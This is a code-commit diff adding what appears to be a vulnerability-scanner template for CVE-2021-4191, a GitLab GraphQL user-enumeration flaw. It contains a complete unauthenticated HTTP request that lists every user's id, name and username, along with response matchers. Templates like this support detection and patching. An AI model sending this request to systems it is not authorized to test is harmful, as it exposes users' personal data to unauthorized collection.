Add template for CVE-2021-4191
parent
71172d6eb9
commit
d18e7535d2
|
@ -0,0 +1,48 @@
|
||||||
|
id: CVE-2021-4191
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: GitLab GraphQL API User Enumeration
|
||||||
|
author: zsusac
|
||||||
|
severity: medium
|
||||||
|
description: A remote, unauthenticated attacker can use this vulnerability to collect registered GitLab usernames, names, and email addresses.
|
||||||
|
reference:
|
||||||
|
- https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/
|
||||||
|
- https://thehackernews.com/2022/03/new-security-vulnerability-affects.html
|
||||||
|
classification:
|
||||||
|
cvss-metrics: CVSS:5.3/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
||||||
|
cvss-score: 5.3
|
||||||
|
cve-id: CVE-2021-4191
|
||||||
|
cwe-id: CWE-359
|
||||||
|
tags: cve,cve2022,gitlab,api,graphql,enumeration,unauthenticated
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- raw:
|
||||||
|
- |-
|
||||||
|
POST /api/graphql HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Length: 917
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
|
||||||
|
Content-Type: application/json
|
||||||
|
Accept: */*
|
||||||
|
Origin: {{Hostname}}
|
||||||
|
Referer: {{Hostname}}/-/graphql-explorer
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: en-US,en;q=0.9
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
{"query":"# Welcome to GraphiQL\n#\n# GraphiQL is an in-browser tool for writing, validating, and\n# testing GraphQL queries.\n#\n# Type queries into this side of the screen, and you will see intelligent\n# typeaheads aware of the current GraphQL type schema and live syntax and\n# validation errors highlighted within the text.\n#\n# GraphQL queries typically start with a \"{\" character. Lines that starts\n# with a # are ignored.\n#\n# An example GraphQL query might look like:\n#\n# {\n# field(arg: \"value\") {\n# subField\n# }\n# }\n#\n# Keyboard shortcuts:\n#\n# Prettify Query: Shift-Ctrl-P (or press the prettify button above)\n#\n# Run Query: Ctrl-Enter (or press the play button above)\n#\n# Auto Complete: Ctrl-Space (or just start typing)\n#\n\n{\n users {\n nodes {\n id\n name\n username\n }\n }\n}","variables":null,"operationName":null}
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body
|
||||||
|
words:
|
||||||
|
- '"data"'
|
||||||
|
- '"users"'
|
||||||
|
- '"nodes"'
|
||||||
|
- '"id"'
|
||||||
|
- 'gid://'
|
||||||
|
condition: and
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
Loading…
Reference in New Issue